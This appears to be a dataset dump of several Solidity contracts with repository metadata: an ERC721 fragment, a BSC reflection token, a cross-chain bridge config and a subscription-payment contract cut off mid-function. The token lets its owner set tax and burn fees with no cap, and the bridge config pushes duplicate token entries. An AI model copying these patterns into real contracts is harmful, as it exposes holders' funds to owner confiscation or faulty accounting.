byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
| 148,420 | 745 |
d892aa7c6f3c0402f013d23c39221f9aa57a26aedab2b298832e3ea3a3b94400
| 18,062 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x8a4C374dBEc64627757736197eD541358499C526/contract.sol
| 4,862 | 17,469 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CarettaFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private _decimals = 8;
uint256 private _supply = 200000;
uint256 private constant MAX = ~uint256(0);
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name ;
string private _symbol ;
uint256 private _taxFee ;
uint256 private _burnFee ;
uint256 private _tTotal = _supply * 10 ** uint256(_decimals);
uint private _max_tx_size = _supply * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
constructor (string memory NAME, string memory SYMBOL, uint256 TAX_FEE, uint256 BURN_FEE) public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
_name = NAME;
_symbol = SYMBOL;
_taxFee = TAX_FEE;
_burnFee = BURN_FEE;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 100% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 253,841 | 746 |
cb40df6a661e51e870fc1f15b0540af9ce3a1c3f932e1b1814f5bf77e37b96bf
| 17,005 |
.sol
|
Solidity
| false |
367082977
|
synapsecns/synapse-contracts
|
b576a6b89a4d2382c82eead74083a41c9db7a538
|
contracts/bridge/BridgeConfigV3.sol
| 3,161 | 11,596 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract BridgeConfigV3 is AccessControl {
using SafeMath for uint256;
bytes32 public constant BRIDGEMANAGER_ROLE = keccak256("BRIDGEMANAGER_ROLE");
bytes32[] private _allTokenIDs;
mapping(bytes32 => Token[]) private _allTokens; // key is tokenID
mapping(uint256 => mapping(string => bytes32)) private _tokenIDMap; // key is chainID,tokenAddress
mapping(bytes32 => mapping(uint256 => Token)) private _tokens; // key is tokenID,chainID
mapping(address => mapping(uint256 => Pool)) private _pool; // key is tokenAddress,chainID
mapping(uint256 => uint256) private _maxGasPrice; // key is tokenID,chainID
uint256 public constant bridgeConfigVersion = 3;
// the denominator used to calculate fees. For example, an
// LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR)
uint256 private constant FEE_DENOMINATOR = 10**10;
struct Token {
uint256 chainId;
string tokenAddress;
uint8 tokenDecimals;
uint256 maxSwap;
uint256 minSwap;
uint256 swapFee;
uint256 maxSwapFee;
uint256 minSwapFee;
bool hasUnderlying;
bool isUnderlying;
}
struct Pool {
address tokenAddress;
uint256 chainId;
address poolAddress;
bool metaswap;
}
constructor() public {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function getAllTokenIDs() public view returns (string[] memory result) {
uint256 length = _allTokenIDs.length;
result = new string[](length);
for (uint256 i = 0; i < length; ++i) {
result[i] = toString(_allTokenIDs[i]);
}
}
function _getTokenID(string memory tokenAddress, uint256 chainID) internal view returns (string memory) {
return toString(_tokenIDMap[chainID][tokenAddress]);
}
function getTokenID(string memory tokenAddress, uint256 chainID) public view returns (string memory) {
return _getTokenID(_toLower(tokenAddress), chainID);
}
function getTokenID(address tokenAddress, uint256 chainID) public view returns (string memory) {
return _getTokenID(_toLower(toString(tokenAddress)), chainID);
}
function getToken(string memory tokenID, uint256 chainID) public view returns (Token memory token) {
return _tokens[toBytes32(tokenID)][chainID];
}
function getTokenByID(string memory tokenID, uint256 chainID) public view returns (Token memory token) {
return _tokens[toBytes32(tokenID)][chainID];
}
function getTokenByAddress(string memory tokenAddress, uint256 chainID) public view returns (Token memory token) {
return _tokens[_tokenIDMap[chainID][_toLower(tokenAddress)]][chainID];
}
function getTokenByEVMAddress(address tokenAddress, uint256 chainID) public view returns (Token memory token) {
return _tokens[_tokenIDMap[chainID][_toLower(toString(tokenAddress))]][chainID];
}
function hasUnderlyingToken(string memory tokenID) public view returns (bool) {
bytes32 bytesTokenID = toBytes32(tokenID);
Token[] memory _mcTokens = _allTokens[bytesTokenID];
for (uint256 i = 0; i < _mcTokens.length; ++i) {
if (_mcTokens[i].hasUnderlying) {
return true;
}
}
return false;
}
function getUnderlyingToken(string memory tokenID) public view returns (Token memory token) {
bytes32 bytesTokenID = toBytes32(tokenID);
Token[] memory _mcTokens = _allTokens[bytesTokenID];
for (uint256 i = 0; i < _mcTokens.length; ++i) {
if (_mcTokens[i].isUnderlying) {
return _mcTokens[i];
}
}
}
function isTokenIDExist(string memory tokenID) public view returns (bool) {
return _isTokenIDExist(toBytes32(tokenID));
}
function _isTokenIDExist(bytes32 tokenID) internal view returns (bool) {
for (uint256 i = 0; i < _allTokenIDs.length; ++i) {
if (_allTokenIDs[i] == tokenID) {
return true;
}
}
return false;
}
function _setTokenConfig(bytes32 tokenID,
uint256 chainID,
Token memory tokenToAdd) internal returns (bool) {
_tokens[tokenID][chainID] = tokenToAdd;
if (!_isTokenIDExist(tokenID)) {
_allTokenIDs.push(tokenID);
}
Token[] storage _mcTokens = _allTokens[tokenID];
for (uint256 i = 0; i < _mcTokens.length; ++i) {
if (_mcTokens[i].chainId == chainID) {
string memory oldToken = _mcTokens[i].tokenAddress;
if (!compareStrings(tokenToAdd.tokenAddress, oldToken)) {
_mcTokens[i].tokenAddress = tokenToAdd.tokenAddress;
_tokenIDMap[chainID][oldToken] = keccak256("");
_tokenIDMap[chainID][tokenToAdd.tokenAddress] = tokenID;
}
}
}
_mcTokens.push(tokenToAdd);
_tokenIDMap[chainID][tokenToAdd.tokenAddress] = tokenID;
return true;
}
function setTokenConfig(string calldata tokenID,
uint256 chainID,
address tokenAddress,
uint8 tokenDecimals,
uint256 maxSwap,
uint256 minSwap,
uint256 swapFee,
uint256 maxSwapFee,
uint256 minSwapFee,
bool hasUnderlying,
bool isUnderlying) public returns (bool) {
require(hasRole(BRIDGEMANAGER_ROLE, msg.sender));
return
setTokenConfig(tokenID,
chainID,
toString(tokenAddress),
tokenDecimals,
maxSwap,
minSwap,
swapFee,
maxSwapFee,
minSwapFee,
hasUnderlying,
isUnderlying);
}
function setTokenConfig(string calldata tokenID,
uint256 chainID,
string memory tokenAddress,
uint8 tokenDecimals,
uint256 maxSwap,
uint256 minSwap,
uint256 swapFee,
uint256 maxSwapFee,
uint256 minSwapFee,
bool hasUnderlying,
bool isUnderlying) public returns (bool) {
require(hasRole(BRIDGEMANAGER_ROLE, msg.sender));
Token memory tokenToAdd;
tokenToAdd.tokenAddress = _toLower(tokenAddress);
tokenToAdd.tokenDecimals = tokenDecimals;
tokenToAdd.maxSwap = maxSwap;
tokenToAdd.minSwap = minSwap;
tokenToAdd.swapFee = swapFee;
tokenToAdd.maxSwapFee = maxSwapFee;
tokenToAdd.minSwapFee = minSwapFee;
tokenToAdd.hasUnderlying = hasUnderlying;
tokenToAdd.isUnderlying = isUnderlying;
tokenToAdd.chainId = chainID;
return _setTokenConfig(toBytes32(tokenID), chainID, tokenToAdd);
}
function _calculateSwapFee(string memory tokenAddress,
uint256 chainID,
uint256 amount) internal view returns (uint256) {
Token memory token = _tokens[_tokenIDMap[chainID][tokenAddress]][chainID];
uint256 calculatedSwapFee = amount.mul(token.swapFee).div(FEE_DENOMINATOR);
if (calculatedSwapFee > token.minSwapFee && calculatedSwapFee < token.maxSwapFee) {
return calculatedSwapFee;
} else if (calculatedSwapFee > token.maxSwapFee) {
return token.maxSwapFee;
} else {
return token.minSwapFee;
}
}
function calculateSwapFee(string memory tokenAddress,
uint256 chainID,
uint256 amount) external view returns (uint256) {
return _calculateSwapFee(_toLower(tokenAddress), chainID, amount);
}
function calculateSwapFee(address tokenAddress,
uint256 chainID,
uint256 amount) external view returns (uint256) {
return _calculateSwapFee(_toLower(toString(tokenAddress)), chainID, amount);
}
// GAS PRICING
function setMaxGasPrice(uint256 chainID, uint256 maxPrice) public {
require(hasRole(BRIDGEMANAGER_ROLE, msg.sender));
_maxGasPrice[chainID] = maxPrice;
}
function getMaxGasPrice(uint256 chainID) public view returns (uint256) {
return _maxGasPrice[chainID];
}
// POOL CONFIG
function getPoolConfig(address tokenAddress, uint256 chainID) external view returns (Pool memory) {
return _pool[tokenAddress][chainID];
}
function setPoolConfig(address tokenAddress,
uint256 chainID,
address poolAddress,
bool metaswap) external returns (Pool memory) {
require(hasRole(BRIDGEMANAGER_ROLE, msg.sender), "Caller is not Bridge Manager");
Pool memory newPool = Pool(tokenAddress, chainID, poolAddress, metaswap);
_pool[tokenAddress][chainID] = newPool;
return newPool;
}
// UTILITY FUNCTIONS
function toString(bytes32 data) internal pure returns (string memory) {
uint8 i = 0;
while (i < 32 && data[i] != 0) {
++i;
}
bytes memory bs = new bytes(i);
for (uint8 j = 0; j < i; ++j) {
bs[j] = data[j];
}
return string(bs);
}
// toBytes32 converts a string to a bytes 32
function toBytes32(string memory str) internal pure returns (bytes32 result) {
require(bytes(str).length <= 32);
assembly {
result := mload(add(str, 32))
}
}
function toString(address x) internal pure returns (string memory) {
bytes memory s = new bytes(40);
for (uint256 i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint256(uint160(x)) / (2**(8 * (19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2 * i] = char(hi);
s[2 * i + 1] = char(lo);
}
string memory addrPrefix = "0x";
return concat(addrPrefix, string(s));
}
function concat(string memory _x, string memory _y) internal pure returns (string memory) {
bytes memory _xBytes = bytes(_x);
bytes memory _yBytes = bytes(_y);
string memory _tmpValue = new string(_xBytes.length + _yBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint256 i;
uint256 j;
for (i = 0; i < _xBytes.length; i++) {
_newValue[j++] = _xBytes[i];
}
for (i = 0; i < _yBytes.length; i++) {
_newValue[j++] = _yBytes[i];
}
return string(_newValue);
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) {
c = bytes1(uint8(b) + 0x30);
} else {
c = bytes1(uint8(b) + 0x57);
}
}
function compareStrings(string memory a, string memory b) internal pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
function _toLower(string memory str) internal pure returns (string memory) {
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint256 i = 0; i < bStr.length; i++) {
// Uppercase character...
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
// So we add 32 to make it lowercase
bLower[i] = bytes1(uint8(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
}
| 23,480 | 747 |
3e1263b5356dc92bcf3bb8f33b5b3a205854d33d9331baf30fc893c83405dd43
| 20,423 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4368c145cb149686e0e11b8e84ea464679e46907.sol
| 3,386 | 14,447 |
pragma solidity 0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Medianizer {
function read() public view returns (bytes32);
}
contract Weth {
mapping(address => mapping(address => uint)) public allowance;
mapping(address => uint) public balanceOf;
function transferFrom(address src, address dst, uint wad) public returns (bool);
}
/// @author The Subscrypto Team
/// @title Subscrypto recurring payments
contract Subscrypto {
using SafeMath for uint;
Medianizer public daiPriceContract;
Weth public wethContract;
constructor(address daiMedianizerContract, address wethContractAddress) public {
daiPriceContract = Medianizer(daiMedianizerContract);
wethContract = Weth(wethContractAddress);
}
event NewSubscription(address indexed subscriber,
address indexed receiver,
uint daiCents,
uint32 interval);
event Unsubscribe(address indexed subscriber,
address indexed receiver);
event ReceiverPaymentsCollected(address indexed receiver,
uint weiAmount,
uint startIndex,
uint endIndex);
event PaymentCollected(address indexed subscriber,
address indexed receiver,
uint weiAmount,
uint daiCents,
uint48 effectiveTimestamp);
event UnfundedPayment(address indexed subscriber,
address indexed receiver,
uint weiAmount,
uint daiCents);
event StaleSubscription(address indexed subscriber,
address indexed receiver);
event SubscriptionDeactivated(address indexed subscriber,
address indexed receiver);
event SubscriptionReactivated(address indexed subscriber,
address indexed receiver);
// Conservative amount of gas used per loop in collectPayments()
uint constant MIN_GAS_PER_COLLECT_PAYMENT = 45000;
// Force subscribers to use multiple accounts when this limit is reached.
uint constant MAX_SUBSCRIPTION_PER_SUBSCRIBER = 10000;
// Minimum payment of 1 DAI
uint constant MIN_SUBSCRIPTION_DAI_CENTS = 100;
// If this many intervals pass without being collected, mark as inactive
uint constant STALE_INTERVAL_THRESHOLD = 3;
struct Subscription {
bool isActive; // 1 byte
uint48 nextPaymentTime; // 6 bytes
uint32 interval; // 4 bytes
address subscriber; // 20 bytes
address receiver; // 20 bytes
uint daiCents; // 32 bytes
}
// global counter for suscriptions
uint64 nextIndex = 1;
// source of truth for subscriptions
mapping(uint64 => Subscription) public subscriptions;
// subscriber => receiver => subsciptionIndex
mapping(address => mapping(address => uint64)) public subscriberReceiver;
// receiver => subs array
mapping(address => uint64[]) public receiverSubs;
// subscriber => subs array
mapping(address => uint64[]) public subscriberSubs;
function subscribe(address receiver, uint daiCents, uint32 interval) external {
uint weiAmount = daiCentsToEthWei(daiCents, ethPriceInDaiWad());
uint64 existingIndex = subscriberReceiver[msg.sender][receiver];
require(subscriptions[existingIndex].daiCents == 0, "Subscription exists");
require(daiCents >= MIN_SUBSCRIPTION_DAI_CENTS, "Subsciption amount too low");
require(interval >= 86400, "Interval must be at least 1 day");
require(interval <= 31557600, "Interval must be at most 1 year");
require(subscriberSubs[msg.sender].length < MAX_SUBSCRIPTION_PER_SUBSCRIBER,"Subscription count limit reached");
// first payment
require(wethContract.transferFrom(msg.sender, receiver, weiAmount), "wETH transferFrom() failed");
// add to subscription mappings
subscriptions[nextIndex] = Subscription(true,
uint48(now.add(interval)),
interval,
msg.sender,
receiver,
daiCents);
subscriberReceiver[msg.sender][receiver] = nextIndex;
receiverSubs[receiver].push(nextIndex);
subscriberSubs[msg.sender].push(nextIndex);
emit NewSubscription(msg.sender, receiver, daiCents, interval);
emit PaymentCollected(msg.sender, receiver, weiAmount, daiCents, uint48(now));
nextIndex++;
}
function deactivateSubscription(address receiver) external returns (bool) {
uint64 index = subscriberReceiver[msg.sender][receiver];
require(index != 0, "Subscription does not exist");
Subscription storage sub = subscriptions[index];
require(sub.isActive, "Subscription is already disabled");
require(sub.daiCents > 0, "Subscription does not exist");
sub.isActive = false;
emit SubscriptionDeactivated(msg.sender, receiver);
return true;
}
function reactivateSubscription(address receiver) external returns (bool) {
uint64 index = subscriberReceiver[msg.sender][receiver];
require(index != 0, "Subscription does not exist");
Subscription storage sub = subscriptions[index];
require(!sub.isActive, "Subscription is already active");
sub.isActive = true;
emit SubscriptionReactivated(msg.sender, receiver);
if (calculateUnpaidIntervalsUntil(sub, now) > 0) {
// only make a payment if at least one interval has lapsed since the last payment
uint weiAmount = daiCentsToEthWei(sub.daiCents, ethPriceInDaiWad());
require(wethContract.transferFrom(msg.sender, receiver, weiAmount), "Insufficient funds to reactivate subscription");
emit PaymentCollected(msg.sender, receiver, weiAmount, sub.daiCents, uint48(now));
}
sub.nextPaymentTime = uint48(now.add(sub.interval));
return true;
}
function unsubscribe(address receiver) external {
uint64 index = subscriberReceiver[msg.sender][receiver];
require(index != 0, "Subscription does not exist");
delete subscriptions[index];
delete subscriberReceiver[msg.sender][receiver];
deleteElement(subscriberSubs[msg.sender], index);
emit Unsubscribe(msg.sender, receiver);
}
function unsubscribeByReceiver(address subscriber) external {
uint64 index = subscriberReceiver[subscriber][msg.sender];
require(index != 0, "Subscription does not exist");
delete subscriptions[index];
delete subscriberReceiver[subscriber][msg.sender];
deleteElement(subscriberSubs[subscriber], index);
emit Unsubscribe(subscriber, msg.sender);
}
function collectPayments(address receiver) external {
